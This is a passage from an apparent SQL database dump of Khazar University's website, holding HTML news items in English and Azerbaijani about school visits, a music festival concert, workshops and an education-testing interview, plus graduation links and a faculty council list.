left;\">  <br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><strong style=\"color:#330000\"><a href=\"http://www.khazar.org/files/social/1/G.April.pdf\">Graduation&nbsp;2016&nbsp;April</a></strong></p><p style=\"color:#333300\"><strong><a href=\"http://www.khazar.org/files/social/1/G.June.pdf\">Graduation&nbsp;2016&nbsp;June</a><br></strong></p><p style=\"color:#330000\"><strong style=\"color:#333300\"><a href=\"http://www.khazar.org/files/social/1/G.September.pdf\">Graduation&nbsp;2016&nbsp;September</a></strong><br></p><p style=\"color:#330000\"><a href=\"http://www.khazar.org/files/social/1/03.04.2017.PDF\"><strong>Graduation 2017 April</strong></a></p><p style=\"color:#330000\"><a href=\"http://www.khazar.org/files/social/1/04.07.2017.PDF\"><strong>Graduation 2017 July</strong></a></p><p style=\"color:#330000\"><strong><a href=\"http://www.khazar.org/files/social/1/27.09.2017.PDF\">Graduation 2017 September</a></strong></p><p style=\"color:#330000\"><a href=\"http://www.khazar.org/files/social/1/13.04.18.PDF\"><strong>Graduation 2018 April</strong></a></p><p style=\"color:#330000\"><strong><a href=\"http://www.khazar.org/files/social/1/09.07.18.PDF\">Graduation 2018 July</a></strong></p><p style=\"color:#330000\"><a href=\"http://www.khazar.org/files/social/1/SCAN.PDF\"><strong>Garduation 2018 September</strong></a></p>'),(2547,1535,'en','Dunya School Teachers and Students Visit Egyptian Cultural and Educational Relations Center','On October 28, 2016, teachers and students from Khazar University’s affiliate Dunya School visited the Egyptian Cultural Center of the Egyptian Embassy to Azerbaijan...','<p>On\r\nOctober 28, 2016, teachers and students from Khazar University’s affiliate\r\nDunya School visited the Egyptian Cultural Center of the Egyptian Embassy to\r\nAzerbaijan. </p>\r\n<p>They\r\nwatched a film about Egyptian history and culture. Then Ahmad Sami Elaydi,\r\nDirector of the Egyptian Cultural and Educational Relations Center, greeted the\r\nguests and told them about the center’s work and its partnerships with\r\nAzerbaijani education and cultural institutions. In addition, he led a\r\ndiscussion about partnership between Dunya School and the Cultural Center,\r\nincluding the Center’s organization of literary reading hours to teach Dunya\r\nstudents about Egyptian culture as well as Arabic language classes for students\r\nand teachers. </p>\r\n<p>Both\r\nparties expressed their readiness to proceed with cooperation and organization\r\nof similar events.&nbsp;</p>'),(2399,1454,'az','Təhsil fakültəsində praktikaya gedən tələbələrlə görüş keçirildi','2016-cı il oktyabrın 3-də Xəzər Universiteti Təhsil fakültəsinin “Passiv pedaqoji praktika”ya gedən tələbələri ilə görüş keçirildi. Görüşdə Təhsil fakültəsinin dekanı Ph.D Elza Səmədova...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">2016-cı il oktyabrın 3-də Xəzər Universiteti Təhsil\r\nfakültəsinin “Passiv pedaqoji praktika”ya gedən tələbələri ilə görüş keçirildi.\r\nGörüşdə Təhsil fakültəsinin dekanı Ph.D Elza Səmədova və müavinləri, həmçinin Təhsil\r\ndepartamentinin müdiri Qoşqar Məhərrəmov iştirak edirdilər. Görüşdə pedaqoji təcrübə\r\nhaqqında məlumat verildi və yaxa kartları paylanıldı. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">E.Səmədova tələbələrin suallarını cavablandırdı və\r\nyeni tədris ilində onlara uğurlar arzuladı.</p>'),(2376,1441,'en','Director of Center for Eurasia and Middle East Studies Two International Events in Mashhad','Fro October 15-18, 2016, Dr. Farda Asadov, Director of the Center for Eurasian and Middle East Studies, participated in two international academic events in Mashhad, Iran...','<p>Fro\r\nOctober 15-18, 2016, Dr. Farda Asadov, Director\r\nof the Center for Eurasian and Middle East Studies, participated in two\r\ninternational academic events in Mashhad, Iran. Dr. Asadov represented\r\nAzerbaijan at the meeting of the Academic Council of the UNESCO Center Asian\r\nResearch Institute. This meeting was connected to an international conference\r\nat Ferdowsi University of Mashhad on the influence of the Silk Road historical\r\nand cultural environment. Dr. Asadov gave a lecture at the conference on\r\nmanuscripts of Arab geographer Ian al-Fagihi that were discovered in Mashhad.\r\nThe academic program also included tours of the Astane Guds Razavi religious,\r\nacademic and cultural complex and to the Firdowsi monument in the city of Tus. </p>\r\n<p>&nbsp;</p>'),(2709,1620,'en','Executive Director of Thomson Reuters Speaks about Khazar University','On November 29, 2016, an article was published on the Kaspi Newspaper’s website entitled “Web of Science Platform.” The article mentions comments by Peter Marczewski...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On November 29, 2016, an article was\r\npublished on the Kaspi Newspaper’s website entitled “Web of Science Platform.”\r\nThe article mentions comments by Peter Marczewski, Executive Director of\r\nThomson Reuters for Russia and the CIS, that the Khazar University Journal of\r\nHumanities and Social Sciences brings broad publicity to the university via\r\nThomson Reuters’ Web of Science platform and that it plays a significant role\r\nin the development of scientific partnership between Thomson Reuters and the\r\nAzerbaijan Republic. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">The full text of the article is\r\navailable at the following link:</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://kaspiy.az/news.php?id=50774\">http://kaspiy.az/news.php?id=50774</a>.&nbsp;</p>'),(2401,1453,'en','Career Center Holds “Career and Life Planning” Workshop','On October 21, 2016, the Khazar University Career Center held a workshop for students and alumni on career and life planning. Participants in the workshop included students from...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On October 21, 2016, the Khazar\r\nUniversity Career Center held a workshop for students and alumni on career and\r\nlife planning. Participants in the workshop included students from multiple\r\nSchools of the university and alumni. Ulviyya Huseynova, Career Center Coordinator,\r\norganized the training, during which trainers asked to what degree students\r\nwere interested in their own fields. The training also covered making plans for\r\nthe future, roads to professionalism, and topics of students’ interest. They\r\ndiscussed how to establish a career, including where and how to start\r\nplanning. &nbsp;</p>'),(2377,1443,'en','Eurasia Knowledge Hub Opens New Site','The Eurasia Knowledge Hub operating within Khazar University opened a new website with the help of Nazakat Azimli, the center’s development manager and Farid Musayev...','<p>The Eurasia Knowledge Hub operating\r\nwithin Khazar University opened a new website with the help of Nazakat Azimli,\r\nthe center’s development manager and Farid Musayev, the university’s IT\r\nmanager. </p>\r\n<p>The site is in two languages and\r\nincludes the logos of Khazar University and other partner organizations. Taking\r\ninto account the nearly 400 Hub training graduates and the constant stream of new\r\ntrainees, high traffic on the site is expected. </p>\r\n<p>The site is available at the following\r\nlink: <a href=\"http://eurasiahub.khazar.org/\">http://eurasiahub.khazar.org/</a></p>'),(2378,1443,'az','Avrasiya Bilik Mərkəzinin yeni saytı açıldı','Xəzər Universitetində fəaliyyət göstərən Avrasiya Bilik Mərkəzi özünün yeni saytını yaratmışdır. Yeni sayt mərkəzin inkişaf meneceri Nəzakət Əzimlinin və universitetin IT üzrə meneceri Fərid Musayevin...','<p>Xəzər Universitetində fəaliyyət göstərən Avrasiya\r\nBilik Mərkəzi özünün yeni saytını yaratmışdır. Yeni sayt mərkəzin inkişaf\r\nmeneceri Nəzakət Əzimlinin və universitetin IT üzrə meneceri Fərid Musayevin\r\nköməkliyi ilə ərsəyə gəlmişdir.</p>\r\n<p>Sayt 2 dildədir,&nbsp;Xəzər\r\nUniversiteti və digər partnyor təşkilatların loqosu aktivdir. Mərkəzin indiyə qədər\r\n400-ə yaxın məzun ordusunun olması və mütəmadi təlimləri nəzərə alınsa, kifayət\r\nsayda istifadəçi və izləyicisi olacağını gözləmək olar.</p>\r\n<p>Saytı bu link vasitəsilə ziyarət etmək\r\nolar: </p>\r\n<p><a href=\"http://eurasiahub.khazar.org/\">http://eurasiahub.khazar.org/</a></p>'),(2403,1456,'az','Tələbə Məclisi “Kompüter və dil biliklərinin gündəlik hayatımızda rolu” adlı seminar təşkil etdi','2016-cı il oktyabrın 18-də Xəzər Universiteti Tələbə Məclisi “Kompüter və dil biliklərinin gündəlik hayatımızda rolu” adlı seminar təşkil etdi...','<p>2016-cı il\r\noktyabrın 18-də Xəzər Universiteti Tələbə Məclisi “Kompüter və dil biliklərinin\r\ngündəlik hayatımızda rolu” adlı seminar təşkil etdi. Qeydiyyat formasının\r\naçılması ilə 50-dən çox tələbə iştirak etmək üçün müraciət etdi. Tələbələr\r\nburada iştirak etməklə, yeni məlumatlar əldə etdilər. </p>\r\n<p>Tələbələr təlimçiyə\r\nonları maraqlandıran sualları verdilər.&nbsp;</p>\r\n<p>EDU Company Təhsil\r\nMərkəzinin təşkil etdiyi bu seminar 1-ci kurs tələbələri üçün, xüsusilə,\r\nmaraqlı oldu.</p>'),(2404,1457,'az','Tələbə Məclisi “Fərqli dünyalar” adlı rəsm sərgisi keçiridi','2016-cı  il oktyabrın 7-i Xəzər Universiteti Tələbə Məclisi uşaq evində və ailədə böyüyən uşaqların birgə çəkdikləri “Fərqli dünyalar” adlı rəsm sərgisi keçiridi...','<p>2016-cı&nbsp; il oktyabrın 7-i Xəzər Universiteti Tələbə Məclisi\r\nuşaq evində və ailədə böyüyən uşaqların birgə çəkdikləri “Fərqli dünyalar” adlı\r\nrəsm sərgisi keçiridi. Çəkilən rəsmləri bir mövzu birləşdirirdi. Belə ki, bu\r\nmövzu “Mənim dünyam” adlanırdı. Bu da uşaqlara öz daxili dünyalarını nümayiş\r\netdirmək üçün fürsət yaratdı. Layihənin məqsədi fərqli qrup uşaqların (15 uşaq\r\nevi – 15 məktəbli) bir-birinə inteqrasiya edərək, aralarındakı fərqliliyin\r\nazaltılması idi.&nbsp;</p>'),(2210,1352,'en','Founder’s Article about Shahriyar','On September 26, 2016, an article by Prof. Hamlet Isaxanli, founder of Khazar University and Chairman of its Board of Directors and Trustees, entitled...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On September 26, 2016, an article by\r\nProf. Hamlet Isaxanli, founder of Khazar University and Chairman of its Board\r\nof Directors and Trustees, entitled “Shahriyar and the Significance of\r\n‘Heydarbabaya Salam’” was published on the official website of 525<sup>th</sup>\r\nNewspaper. In the article, Prof. Isaxanli shares his thoughts about the\r\ncharacter and works of Mahammadhuseyn Shahriyar. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">The full text of the article is\r\navailable at the following link: <a href=\"http://525.az/site/?name=xeber&amp;news_id=64715\">http://525.az/site/?name=xeber&amp;news_id=64715</a>.&nbsp;</p>'),(2204,1350,'az','Cədvəl_2018 Payız','Cədvəl','<p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Time_table/fall%202018schedule%20(2).xlsx\">Payız_2018&nbsp;Dərs Cədvəli</a></strong></p>'),(2205,1350,'en','Schedule_2018 Spring','Schedule','<p><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Time_table/fall%202018schedule%20(2).xlsx\"><strong>Fall_2018_&nbsp;Time Table</strong>&nbsp;</a></p>'),(2209,1353,'en','Uzeyir Hacibeyli International Music Festival at Khazar','As part of the VIII Uzeyir Hacibeyli International Music Festival organized by the Azerbaijan Republic Ministry of Culture and Tourism and by the Heydar Aliyev...','<p>As part of the VIII\r\nUzeyir Hacibeyli International Music Festival organized by the Azerbaijan\r\nRepublic Ministry of Culture and Tourism and by the Heydar Aliyev Foundation on\r\nSeptember 18-27, 2016, a\r\ntwo-part concert was held at Khazar University in the Marble Hall with\r\nSlovakian violinist Ferhad Ashumov and Associate Professor Zulfiyya Sadigova,\r\npianist and Head of the Department of Music and Fine Arts at Khazar University,\r\nalong with the Khazar University Chamber Orchestra. University administrators,\r\nstaff, students and guests attended the concert. </p>\r\n<p>Before the concert,\r\nVice President Isakhan Isakhanli made a speech to greet the audience and to\r\ngive information about Uzeyir Hajibeyli’s creative activities and the\r\nsignificance of this annual festival. </p>\r\n<p>Then the Chamber\r\nOrchestra began their performance. During the intermission, Meritorious Artist\r\nSardar Farajov (Director of the Uzeyir Hajibeyli House Museum) spoke about the\r\ncreation of Khazar University Chamber Orchestra and its professionalism. He\r\nthanked the university for its active participation in this annual music\r\nfestival. </p>\r\n<p>During the second\r\nhalf of the concert, Zulfiyya Sadigova and Ferhad   Ashumov performed on piano and\r\nviolin. Both halves of the concert included works by Azerbaijani and world\r\ncomposers. </p>\r\n<p>At the end of the\r\nevent, Prof. Isakhanli thanked the participants. He gave a gift and bouquet to\r\nFerhad   Ashumov on behalf of the university. </p>\r\n<p>Prof. Hassan Niknafs,\r\nPresident of Khazar University, and the Ambassador Extraordinary and\r\nPlenipotentiary of Iraq to the Azerbaijan Republic, Fadhil Awad Jebur Al-Shiwaili, also attended the event.&nbsp;</p>'),(2206,1351,'az','“Dünya” Üzeyir Hacıbəyovun ev-muzeyini ziyarət etdi','2016-cı il sentyabrın 23-də “Dünya” məktəbinin şagird və müəllim kollektivi Üzeyir Hacıbəyovun anadan olmasının ildönümü münasibətilə...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il sentyabrın 23-də “Dünya” məktəbinin şagird və müəllim\r\nkollektivi Üzeyir Hacıbəyovun anadan olmasının ildönümü münasibətilə dahi bəstəkarın\r\nev-muzeyini ziyarət etdi. Kollektiv, həmçinin, muzeyə səhifələrində Üzeyir bəy\r\nhaqqında məlumat verilmiş “Dünya” dərgisinin nüsxələrini hədiyyə etdi.</p>'),(2211,1351,'en','Dunya School Field Trip to Uzeyir Hajibeyli House Museum','On September 23, 2016, the students and teachers of Khazar University’s affiliate Dunya School visited the Uzeyir Hajibeyli House Museum...','On September 23, 2016, the\r\nstudents and teachers of Khazar University’s affiliate Dunya School visited the\r\nUzeyir Hajibeyli House Museum to celebrate the anniversary of the great\r\ncomposer’s birth. They also presented the museum copies of their Dunya Magazine\r\nin which information about the composer had been published.'),(2207,1352,'az','Təsisçi Şəhriyardan yazdı ','2016-cı il  sentyabrın 26-da Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il&nbsp; sentyabrın 26-da Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının “Şəhriyar\r\nvə “Heydərbabaya salam”ın əzəməti” adlı məqaləsi “525-ci qəzet”in rəsmi\r\nİnternet səhifəsində yayınlanmışdır. Professor Hamlet İsaxanlı bu yazıda Məhəmmədhüseyn\r\nŞəhriyarın şəxsiyyəti və yaradıcılığı haqqında fikirlərini bölüşmüşdür.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Məqaləni tam şəkildə bu link vasitəsilə\r\noxumaq olar: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">&nbsp;<a href=\"http://525.az/site/?name=xeber&amp;news_id=64715\">http://525.az/site/?name=xeber&amp;news_id=64715</a>.</p>'),(2208,1353,'az','Üzeyir Hacıbəyli Beynəlxalq Musiqi Festivalı “Xəzər”də','Azərbaycan Respublikası Mədəniyyət və Turizm Nazirliyi və Heydər Əliyev Fondunun təşkilatçılığı ilə sentyabrın 18-27 - də keçirilən...','<p>Azərbaycan\r\nRespublikası Mədəniyyət və Turizm Nazirliyi və Heydər Əliyev Fondunun təşkilatçılığı\r\nilə sentyabrın 18-27 - də keçirilən VIII Üzeyir Hacıbəyli Beynəlxalq Musiqi\r\nFestivalı çərçivəsində sentyabrın 27-də Xəzər Universitetinin Mərmər salonunda\r\nuniversitetin Kamera orkestri, Musiqi və incəsənət departamentinun müdiri,\r\npianoçu Zülfiyyə Sadıqova və skripkaçı Fərhad Aşumovun (Slovakiya) iştirakı ilə\r\niki hissədən ibarət&nbsp;&nbsp; konsert oldu. Konsertdə\r\nuniversitetin rəhbərliyi, müəllim və tələbələri, qonaqlar iştirak edirdilər.</p>\r\n<p>Konsertdən əvvəl Xəzər Universitetinin prorektoru\r\nİsaxan İsaxanlı çıxış edərək, iştirakçıları salamladı, Üzeyir Hacıbəylinin\r\nçoxşaxəli yaradıcılığından, hər il keçirilən musiqi festivalının əhəmiyyətindən,\r\nXəzər Universitetinin festivalda fəal iştirakından danışdı.</p>\r\n<p>Sonra Kamera orkestri koncert proqramı ilə çıxış&nbsp;etdi. Fasilədə Azərbaycan Bəstəkarlar İttifaqının katibi, Üzeyir Hacıbəylinin\r\nev muzeyinin direktoru, Əməkdar incəsənət xadimi bəstəkar Sərdar Fərəcov çıxış&nbsp;edərək, Xəzər Universitetində Kamera orkestrinin yaradılmasının Azərbaycanın təhsil\r\nmühitində əlamətdar bir hadisə olduğunu vurğuladı, orkestrin peşəkarlığını yüksək\r\nqiymətləndirdi, Üzeyir Hacıbəylinin anadan olması ildönümü münasibətilə hər il\r\nkeçirilən beynəlxalq müsiqi festivalında fəal iştiraka görə universitetin rəhbərliyinə\r\nvə musiqiçi əməkdaşlarına təşəkkürünü bildirdi.</p>\r\n<p>Konsertin ikinci hissəsində Zülfiyyə Sadıqova və\r\nFərhad   Aşumov fortepiano ilə skripka üçün əsərləri ifa etdilər. Konsertin hər\r\niki hissəsində Azərbaycan və dünya bəstəkarlarının əsərləri səsləndi.</p>\r\n<p>Sonda İ. İsaxanlı konsert iştirakçılarına təşəkkürünü\r\nbildirdi, Fərhad   Aşumova hədiyyə və gül dəstəsi təqdim etdi.</p>\r\n<p>Konsertdə Xəzər Universitetinin rektoru Hassan\r\nNiknafs və İraqın Azərbaycandakı səfiri Fadhil Awad Jebur Al-Shuwai &nbsp;iştirak edirdilər.</p>'),(590,383,'en','Summer School','Summer School','<div><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><br></strong></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</strong><strong><img src=\"http://www.khazar.org/files/image/15_10_13_download_.jpg\" style=\"border:0px #000000;width:250px;height:188px;margin:2px 2px 2px 3px;float:left\"></strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:\'times new roman\', times, serif;font-size:medium;line-height:15px;text-align:justify;background-color:#ffffff\"><strong style=\"font-family:arial, helvetica, sans-serif\"><br></strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:\'times new roman\', times, serif;font-size:medium;line-height:15px;text-align:justify;background-color:#ffffff\"><br></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:arial, helvetica, sans-serif;font-size:medium;line-height:15px;text-align:justify;background-color:#ffffff\"><br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong></strong></p>  <p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:\'times new roman\', times, serif;font-size:medium;line-height:15px;text-align:justify;background-color:#ffffff\"><br></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:\'times new roman\', times, serif;font-size:medium;line-height:15px;text-align:justify;background-color:#ffffff\"><strong style=\"font-family:arial, helvetica, sans-serif\"></strong></p><p style=\"text-align:left\"><br></p></div>'),(591,383,'az',' Yay Məktəbi',' Yay Məktəbi','<div><br></div><div><br></div><div><p><strong><strong><strong><img src=\"http://www.khazar.org/files/image/15_10_13_download_.jpg\" style=\"width:250px;height:187px;margin:7px;float:left\"><br></strong></strong></strong></p><p><strong><strong><strong><br></strong></strong></strong></p><p><strong><strong><strong><br></strong></strong></strong></p><p><strong><strong><strong><br></strong></strong></strong></p><p><strong><strong><strong><br></strong></strong></strong></p><p><br></p></div>'),(4079,2381,'az','Təhsil eksperti müsahibəsində professor Hamlet İsaxanlının fikirlərinə münasibət bildirib','2017-ci il avqustun 27-də strateq.az, icxeberler.info, moderator.az və azpolitika.info xəbər saytları tanınmış təhsil eksperti Etibar Əliyevlə müsahibə dərc etmişlər. Ekspert son günlərdə testlə bağlı...','<p>2017-ci il avqustun 27-də strateq.az, icxeberler.info, moderator.az və azpolitika.info xəbər saytları tanınmış təhsil eksperti Etibar Əliyevlə müsahibə dərc etmişlər. Ekspert son günlərdə testlə bağlı aparılan müzakirələr çərçivəsində məsələyə münasibətini bildirərək, onu da qeyd etmişdir ki, \"Dövlət İmtahan Mərkəzi Direktorlar Şurasının sədri Məleykə Abbaszadə testin ləğvindən söhbət açmayıb\". Müsahibədə, həmçinin, Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının məsələ ilə əlaqədar bir neçə sayta verdiyi müsahibə ilə bağlı aşağıdakı sual-cavab da yer almışdır:</p><p>– Etibar müəllim, Xəzər universitetinin təsisçisi Hamlet İsaxanlı bu mövzu ilə bağlı müsahibəsində deyib ki, orta məktəbdə uşaqları daha çox test istiqamətində öyrədib hazırlaşdırırlar. Xüsusilə yuxarı sinif müəllimləri və repetitorlar testi ön plana çəkirlər. Bu da mexaniki hazırlıq olur və elmi baxımdan uşaqlara ziyandır. Qəbul imtahanı daha geniş formada olmalıdır. Əgər uşaq testdən əlavə başqa mərhələlər və imtahanlar olduğunu bilsə, qəbul imtahanlarına yalnız mexaniki yox, elmi tərəfdən də yanaşacaq.</p><p>– Mən, hörmətli Hamlet müəllimlə razıyam. Məktəb proqramları testdən asılı olmamalıdır. Əgər şagird nailiyyətləri mütəmadi olaraq testlə qiymətləndirilirsə, yaxud müəllimlərin karyerası və məktəbin gələcəyi testin nəticələri ilə qiymətləndiriləcəksə, onda test müəllimə necə dərs deməyi diqtə edəcək. Yəni testlər proqramın məzmununa və tədris üsüluna təsir edəcək. Öyrətmənin mövzunu dərk etmədən, “düzgün” və ya “qeyri-düzgün” cavabların axtarışına yönəldilməsi həddindən artıq darıxdırıcı üsuldur. Təəssüflər olsun ki, bizim məktəblərdə bu tendensiya açıq şəkildə nəzərə çarpır. Məsələn, bir misal çəkim: “Qlobal istiləşmə”dən testi cavablandırmaqla, bu mövzuda esse yazmaq arasında dağlar qədər fərq var. Esse şagirdlərdə mühakimə yürütmək, analiz etmək, müxtəlif ideyaları müqayisə etmək kimi bacarıqları ortaya qoyur. Amma onu da inkar etmək olmaz ki, test dünyanın əksər ölkələrində şagird biliklərinin qiymətləndirilməsinin əsasını təşkil edir. Amerikanın “Təhsil aktı” sənədində yazılır ki, müəllimlər bu üsulla qiymətləndirmədə aşkara çıxarmalıdırlar ki, onların şagirdləri düşünə bilirlərmi? Fikrimcə, builki 9-cu siniflərin buraxılış imtahanları mərhələ-mərhələ yeniliklərin tətbiqinə yol açan imtahanlar kimi tarixdə qaldı.</p><p>Müsahibənin tam mətnini aşağıdakı linklərdə oxumaq olar:&nbsp;</p><p><a href=\"http://strateq.az/sosial/193650/etibar-%C9%99liyev.html#Kalibri\" target=\"_blank\">http://strateq.az/sosial/193650/etibar-%C9%99liyev.html#Kalibri</a></p><p><a href=\"http://icxeberler.info/cemiyyet/3764-eger-mektebin-geleceyi-testin-neticeleri-ile-qiymetlendirilecekse.html#Kalibri\" target=\"_blank\">http://icxeberler.info/cemiyyet/3764-eger-mektebin-geleceyi-testin-neticeleri-ile-qiymetlendirilecekse.html#Kalibri&nbsp;</a></p><p><a href=\"http://www.moderator.az/news/189623.html#Kalibri\" target=\"_blank\">http://www.moderator.az/news/189623.html#Kalibri</a></p><p><a href=\"http://azpolitika.info/?p=349243#Kalibri\" target=\"_blank\">http://azpolitika.info/?p=349243#Kalibri</a></p>'),(2010,1223,'az','Təsisçi seminarda məruzə ilə çıxış etdi','2016-cı il iyunun 10-da Xəzər Universitetində təşkil olunmuş “Potensial məktəb direktorları üçün təlim” layihəsi çərçivəsində iştirakçılar üçün...','<p>2016-cı il iyunun 10-da Xəzər Universitetində təşkil\r\nolunmuş “Potensial məktəb direktorları üçün təlim” layihəsi çərçivəsində\r\niştirakçılar üçün “İdarəetmə” mövzusunda keçirilən seminarların ilk qonağı Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı oldu. </p>\r\n<p>Professor İsaxanlı iştirakçılar üçün “Təhsildə idarəetmə:\r\nNəzəriyyədən praktikaya” adlı mühazirə ilə çıxış etdi. O, həmçinin Xəzər\r\nUniversitetinin yaradılmasından, bu yolda yaşanan uğurlu və çətin təcrübəsindən\r\ndanışdı. </p>\r\n<p>Seminarın sonunda H.İsaxanlı iştirakçıların suallarını cavablandırdı\r\nvə xatirə şəkilləri çəkildi.&nbsp;</p>'),(592,384,'en','Council','Council\r\n','<p><strong>Dr.&nbsp;<a href=\"http://www.khazar.org/files/social/1/Jabir%20K%20CV.pdf\">Jabir Khalilov</a>&nbsp;</strong>- Dean,&nbsp;School of Humanities and Social Sciences (Head)</p><p><strong>Email:</strong>&nbsp;cxalilov[at]khazar.org</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/social/1/cv_vali.pdf\">Valida Karimova&nbsp;</a></strong>- Vice Dean,&nbsp;School of Humanities and Social Sciences&nbsp;</p><p><strong>Email:</strong>&nbsp;vkerimova[at]khazar.org</p><p><br></p><p><strong>Dr.&nbsp;<a href=\"http://www.khazar.org/files/social/1/Roza.A.pdf\">Roza Arazova</a>&nbsp;</strong>- Head of&nbsp; History and Archeology department</p><p><strong>Email:</strong>&nbsp;rarazova[at]khazar.org <br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/social/1/CV_MELEK.K_newwwwww2016.pdf\">Melek Karimova</a></strong> - Coordinator of Psychology department</p><p><strong>Email:</strong>&nbsp;mkerimova[at]khazar.org</p><p><br></p><p><strong>Dr.&nbsp;<a href=\"http://www.khazar.org/files/social/1/CV%20Zivar%20Huseynli.english.new.pdf\">Zivar Huseynli Baylan</a></strong> -&nbsp;Coordinator of Languages and Cultures department</p><p><strong>Email:</strong>&nbsp;zhuseynova[at]khazar.org</p><p><br></p><p><strong>Prof.&nbsp;<a href=\"http://www.khazar.org/files/social/1/Zulfiyya_E.pdf\">Zulfiyya Sadigova</a>&nbsp;</strong>– Head of Music and Fine Arts department</p><p><strong>Email:</strong>&nbsp;zsadigova[at]khazar.org <br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/social/1/CV-Eynur%20Mehdiyev.pdf\">Eynur Mehdiyev</a></strong>&nbsp;- Coordinator of&nbsp; English Language and Literature department</p><p><strong>Email:</strong>&nbsp;emehdiyev[at]khazar.org</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/social/1/Elmar%20_CV.pdf\">Elmar Mustafayev</a></strong> -&nbsp;Coordinator of Political Science and International Relations department</p><p><strong>Email: </strong>emustafayev[at]khazar.org</p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/Jabir_Mammadov-Last-Updated.pdf\">Jabir Mammadli</a>&nbsp;</strong>- Coordinator of Journalism department</p><p><strong>Email:</strong>&nbsp;cmammadli[at]khazar.org</p><p><br></p><p><a href=\"http://www.khazar.org/files/social/1/CV.Pasha.E.pdf\"><strong>Pasha Aydayev</strong></a> - Council secretary</p><p><strong>Email:</strong>&nbsp;paydayev[at]khazar.org  <br></p><p style=\"font-size:medium\"><img width=\"500\" height=\"357\" src=\"/files/image/15_10_14_cap.jpg\" v:shapes=\"Picture_x0020_1\" style=\"border:0px  #000000;border: 0px rgb(0, 0, 0); width: 492px; height: 200px; margin: 7px; float: left;\"></p>'),(593,384,'az',' Şura',' Şura','<p><strong>&nbsp;Dos.,&nbsp;</strong><strong><a href=\"http://www.khazar.org/files/social/1/Jabir%20K%20CV.pdf\">Cabir Xəlilov</a></strong><strong>&nbsp;</strong>- Humanitar və Sosial elmlər fakültəsinin dekanı</p><p><strong>Email:</strong>&nbsp;cxalilov[at]khazar.org</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/social/1/cv_vali.pdf\">Validə Kərimova</a>&nbsp;</strong>- Humanitar və Sosial elmlər fakültəsi dekan müavini</p><p><strong>Email:</strong>&nbsp;vkerimova[at]khazar.org</p><p><br></p><p><strong>Dos.,&nbsp;<a href=\"http://www.khazar.org/files/social/1/Roza.A.pdf\">Roza Arazova</a></strong><strong>&nbsp;</strong>– Tarix və arxeologiya departamentinin rəhbəri</p><p><strong>Email:</strong>&nbsp;rarazova[at]khazar.org  <br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/social/1/CV_MELEK.K_newwwwww2016.pdf\">Mələk Kərimova</a></strong> - Psixologiya departamentinin koordinatoru</p><p><strong>Email:</strong>&nbsp;mkerimova[at]khazar.org  </p><p><br></p><p><strong>Dos.,&nbsp;<a href=\"http://www.khazar.org/files/social/1/CV%20Zivar%20Huseynli.english.new.pdf\">Zivər Hüseynli Baylan</a></strong> - Dillər və Mədəniyyətlər departamentinin koordinatoru</p><p><strong>Email:</strong>&nbsp;zhuseynli[at]khazar.org  </p><p><br></p><p><strong>Prof.,&nbsp;<a href=\"http://www.khazar.org/files/social/1/Zulfiyye_AZ.pdf\">Zülfiyyə Sadıqova</a></strong><strong>&nbsp;</strong>– Musiqi və İncəsənət departamentinin 